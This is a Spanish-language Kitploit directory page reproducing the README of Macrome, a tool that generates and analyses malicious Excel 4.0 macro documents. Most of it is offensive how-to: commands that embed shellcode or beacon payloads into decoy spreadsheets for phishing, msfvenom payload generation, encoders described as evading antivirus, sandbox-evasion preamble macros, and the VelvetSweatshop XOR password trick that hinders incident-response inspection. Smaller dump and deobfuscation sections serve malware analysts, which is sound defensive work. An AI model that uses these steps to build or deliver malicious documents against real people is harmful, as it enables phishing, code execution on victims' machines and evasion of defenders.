Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Macrome — Lector/Escritor de Documentos de Macros de Excel para Red Teamers y Analistas | Kitploit
Herramientas/GitHubGitHub/michaelweber/macrome
Generación de PayloadsExplotaciónPhishingAnálisis de MalwarePruebas de PenetraciónIngeniería SocialAnálisis de BinariosRed Teaming
GitHubmichaelweber/macrome

Macrome

Lector/Escritor de Documentos de Macros de Excel para Red Teamers y Analistas

Ver Repositorio
52278hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Macrome

Un Lector/Escritor de Documentos de Macro de Excel para Red Teamers y Analistas. Las publicaciones de blog que describen lo que realmente hace esta herramienta se pueden encontrar aquí y aquí.

Un ejemplo de documento creado usando la plantilla predeterminada.

Instalación / Compilación

Clona o descarga este repositorio, la herramienta se puede ejecutar usando dotnet - por ejemplo:

root@kitploit:~
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin 

o

root@kitploit:~
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls

Ten en cuenta que se requiere una compilación de dotnet 5.0+ para que esto funcione según está configurado - se puede obtener de https://dotnet.microsoft.com/download/dotnet/5.0.

Las versiones binarias de la herramienta que no requieren dotnet y contienen un binario ejecutable se pueden encontrar en la sección de Lanzamientos para Windows, OSX y Linux.

Uso

Ejecuta Macrome usando dotnet run desde el directorio de la solución, o dotnet contra el binario de Macrome compilado. Hay tres modos de operación para Macrome: modo de construcción, modo de volcado y modo de desofuscación.

Modo de Construcción

Ejecuta Macrome con el comando build para generar un documento de Excel que contenga una hoja de macros ofuscada usando un documento señuelo proporcionado y una carga útil de macro. dotnet Macrome.dll build -h mostrará las instrucciones completas de uso.

Por ejemplo, para construir un documento usando el documento señuelo path/to/decoy_document.xls y shellcode x86 binario almacenado en path/to/shellcode.bin, ejecuta dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Esto generará un documento XLS 2003 que, después de abrirse y presionar el botón "Habilitar contenido", ejecutará el shellcode de shellcode.bin.

¿Cómo DEBERÍA ejecutar esto?

El resto de la documentación explicará cada bandera/función en detalle, pero ahora mismo lo "último y mejor" que Macrome tiene para ofrecer se puede obtener ejecutando:

root@kitploit:~
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls

Uso de Carga Útil Binaria

Primero genera un documento de Excel "señuelo" base que contendrá el contenido que los usuarios deben ver. Esto debería ser algún tipo de señuelo que convenza a los usuarios de hacer clic en el botón "Habilitar Macros" que se muestra en Excel. Hay algunos ejemplos de la creación de señuelos "últimos y mejores" en https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Una vez creada esta hoja, guarda el documento como tipo Excel 97-2003 Workbook (*.xls) en lugar del formato más nuevo Excel Workbook (*.xlsx). En /Docs/decoy_document.xls se incluye un ejemplo de documento señuelo. Ten en cuenta que si estás usando ofuscación XOR para proteger tu documento, actualmente NO puedes agregar una imagen a tu señuelo.

A continuación, genera una carga útil de shellcode para proporcionar a la herramienta. La carga útil binaria de ejemplo (que abre calc) se generó usando msfvenom con los siguientes parámetros:

root@kitploit:~
 msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

También se admiten cargas útiles de 64 bits. La carga útil de ejemplo de 64 bits, popcalc64.bin, se generó con el comando:

root@kitploit:~
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

Esta carga útil se puede incrustar ejecutando el comando:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

Actualmente, las cargas útiles de 64 bits requerirán que también se proporcione una carga útil de x86. Si esto no es un problema, puedes especificar basura para la bandera de carga útil de x86.

Hay soporte eventual para incrustar ensamblados .NET directamente en el documento, pero si deseas hacer eso ahora mismo, te sugiero que uses EXCELntDonut.

A partir de Macrome 0.5.0 y superiores, todas las cargas útiles se codificarán con base64, por lo que tu carga útil podrá contener cualquier secuencia de bytes (incluyendo bytes nulos).

Incrustación de Ejecutables

Si deseas incrustar un ejecutable .NET usando Macrome, te sugiero que uses Donut con el comando donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, y luego incrustes la carga útil resultante como tus cargas útiles de 32 bits y 64 bits.

Otra alternativa sólida es Amber que ha funcionado muy bien para incrustar binarios Go bastante grandes.

Codificación de Carga Útil Heredada

Si por alguna razón deseas usar el modo de codificación de carga útil heredada de antes de Macrome 0.5.0, usa la bandera --payload-method con SheetPackingMethod. Ten en cuenta que en el modo heredado, usar una carga útil mayoritariamente alfanumérica reducirá el tamaño del archivo de macro generado, ya que es más fácil expresar letras y números en forma de macro que agregar invocaciones de la función CHAR repetidamente como =CHAR(123)&CHAR(124)&CHAR(125)... etc. Pero la herramienta debería poder manejar también una carga útil binaria completamente no imprimible.

Uso de Carga Útil de Macro

Similar al uso de carga útil binaria, primero se debe generar un documento señuelo. A continuación, se debe crear un archivo de texto que contenga las macros a ejecutar. Las macros deben tener columnas separadas por caracteres ; y filas separadas por saltos de línea. Actualmente, el contenido de las macros especificadas se escribirá y ejecutará comenzando en A1, aunque se agregará soporte futuro para permitir especificar la ubicación de inicio. Se pueden encontrar ejemplos de macros en /Docs/macro_example.txt y /Docs/multi_column_macro_example.txt.

Finalmente, ejecuta el comando:

root@kitploit:~
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro

Observa el uso de la bandera payload-type establecida en Macro.

Puedes generar una macro tú mismo, o puedes usar la maravillosa herramienta EXCELntDonut para crear una macro por ti.

Selección del Método de Codificación

Estos se detallarán en una próxima publicación de blog, pero Macrome ahora puede codificar cargas útiles de macro de tres maneras diferentes. La mayoría de estos aún no son detectados por ningún AV, pero experimenta con tus cargas útiles para ver qué funciona mejor.

  1. CharSubroutine - Reemplaza el uso de funciones CHAR() repetidas creando una subrutina en una celda aleatoria, y luego invocándola usando una larga cadena de funciones IF y SET.NAME. Esto es algo que aún no ha sido abusado por autores prominentes de maldocs, por lo que es poco probable que active alertas en AV por ahora.
  2. ObfuscatedCharFunc - La función de codificación original de Macrome. Invoca CHAR() pero lo añade a una celda vacía aleatoria y envuelve el valor en una función ROUND.
  3. ObfuscatedCharFuncAlt - Una ligera variación de la codificación original, en lugar de usar un PtgFunc para invocar CHAR, usamos un PtgFuncVar - esto rompe la mayoría de las firmas que intentan contar las invocaciones de CHAR.
  4. AntiAnalysisCharSubroutine - Igual que CharSubroutine pero las variables que se pasan a la subrutina se ofuscan usando trucos de Unicode como se describe aquí. Ten en cuenta que esto generará un documento más grande que el modo CharSubroutine debido a la adición de nombres de variables señuelo.
  5. ArgumentSubroutines - Crea una subrutina personalizada para CHAR() y FORMULA(), las invoca como funciones personalizadas, y analiza los argumentos usando la macro ARGUMENT() que es menos compatible con los emuladores.

Especifica una codificación usando la bandera method al construir - por ejemplo, para usar el codificador CharSubroutine:

root@kitploit:~
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls

Macros de Preámbulo

A veces es posible que desees que ciertas macros se ejecuten ANTES del código de la carga útil. Esto es útil cuando estás agregando macros para evasión de sandbox y/o verificando que tu carga útil se está ejecutando en el host correcto.

El formato para los archivos de preámbulo es exactamente el mismo que cuando se usa payload-type Macro, pero solo admite una sola columna. Por ejemplo, podrías tener un preámbulo de:

root@kitploit:~
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))

Esto verificará los valores de resolución de pantalla, la presencia de un mouse y la capacidad de reproducir sonido. Si alguna de estas falla, la aplicación se cerrará antes de ejecutar el contenido principal de la carga útil.

Además, si deseas que una macro de preámbulo se evalúe INMEDIATAMENTE, en lugar de después de desempaquetar el resto de las macros, puedes prefijar un comando con %%%%%. Por ejemplo:

root@kitploit:~
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())

Esto es útil para minimizar la cantidad de comandos XLM ejecutados antes de matar el documento y puede ser útil para reacciones más inmediatas a la presencia de indicadores de sandbox.

Protección con Contraseña de Ofuscación XOR

Macrome 0.3.0+ admite la protección con contraseña de documentos usando ofuscación XOR, un modo de cifrado heredado de versiones MUCHO más antiguas de Office. Este modo de cifrado a menudo no es compatible con las herramientas de IR y puede ayudar a proteger el contenido del documento contra la inspección.

Excel tiene una contraseña "predeterminada" de VelvetSweatshop, que te permitirá cifrar el contenido del documento mientras haces que el documento se descifre automáticamente al abrirlo. Esta es la forma "ideal" de usar la ofuscación XOR en un contexto ofensivo. Macrome intentará automáticamente usar esta contraseña al desofuscar o volcar un documento.

Para usar esta funcionalidad, simplemente agrega --password <contraseñaACifrar> a tu comando de construcción.

Modo de Volcado

Ejecuta Macrome con el comando dump para imprimir los registros BIFF8 más relevantes para documentos arbitrarios. Esta funcionalidad es similar a la funcionalidad de volcado de macros de olevba, pero tiene un procesamiento más completo de entradas Ptg de casos extremos para ayudar a asegurar que el formato sea lo más cercano posible a las entradas FORMULA reales de Excel. Esto es lo que he estado usando para depurar algunos de los documentos extraños de casos extremos que he estado generando mientras hacía esta herramienta, por lo que es comparativamente robusto. Estoy seguro de que hay muchos casos extremos que no se admiten en este momento, así que si encuentras un documento cuyo contenido no se vuelca correctamente, por favor abre un issue y comparte el documento como un archivo zip.

El comando dump solo requiere un argumento path que apunte al archivo objetivo. Un ejemplo de invocación es:

root@kitploit:~
dotnet Macrome.dll dump --path docToDump.xls

La mayoría de las banderas del comando dump son para depuración, pero dump-hex-bytes puede ser útil para usuarios que quieran ver las cargas útiles de bytes individuales para registros relevantes. Esto es una funcionalidad similar a BiffView, aunque solo se mostrarán por defecto las entradas específicas de maldocs.

Modo de Desofuscación

Ejecuta Macrome con el comando deobfuscate para tomar un documento XLS Binario ofuscado e intentar revertir varios comportamientos de anti-análisis. dotnet Macrome.dll deobfuscate -h mostrará las instrucciones completas de uso. Actualmente, por defecto este modo:

  • Mostrará todas las hojas independientemente de su estado oculto
  • Normalizará las etiquetas especificadas manualmente para todas las entradas Lbl que Excel interpretará como entradas Auto_Open a pesar de que su nombre no coincida con esa cadena.

Por ejemplo, para desofuscar un archivo de macro XLS 2003 malicioso en path/to/obfuscated_file.xls, ejecuta dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. Esto generará una copia del archivo ofuscado que será más fácil de analizar manualmente o con herramientas.

NOTA: Esto no hace mucho todavía, principalmente está destinado a demostrar cómo el uso de la librería b2xtranslator modificada puede ayudar a automatizar la desofuscación. Pronto llegarán funciones más útiles.

Agradecimientos

Muchas gracias a todos los hombros sobre los que pude apoyarme para escribir esto.

  • https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/ - El equipo de Outflank creó este ataque, solo estoy automatizando algunas de las partes tediosas.
  • La gente de InQuest por sus excelentes artículos sobre lo que los autores de malware están haciendo para evadir la detección en este momento.
    • https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
    • https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
    • https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
  • @DissectMalware por su increíble herramienta XLMMacroDeobfuscator que ha sido genial para probar y es realmente una pieza de tecnología excelente si estás del lado defensivo/análisis.
  • @JoeLeonJr por su increíble herramienta EXCELntDonut cuyas macros de Excel multiarquitectura robé adapté para agregar soporte de arquitectura x64 a Macrome.
  • Los autores originales de la librería b2xtranslator así como la gente de EvolutionJobs que la actualizó y la portó a dotnet. El código utilizado aquí se obtuvo inicialmente de https://github.com/EvolutionJobs/b2xtranslator.
  • Imágenes tomadas del cómic de KC Green en https://gunshowcomic.com/648
Descargar herramienta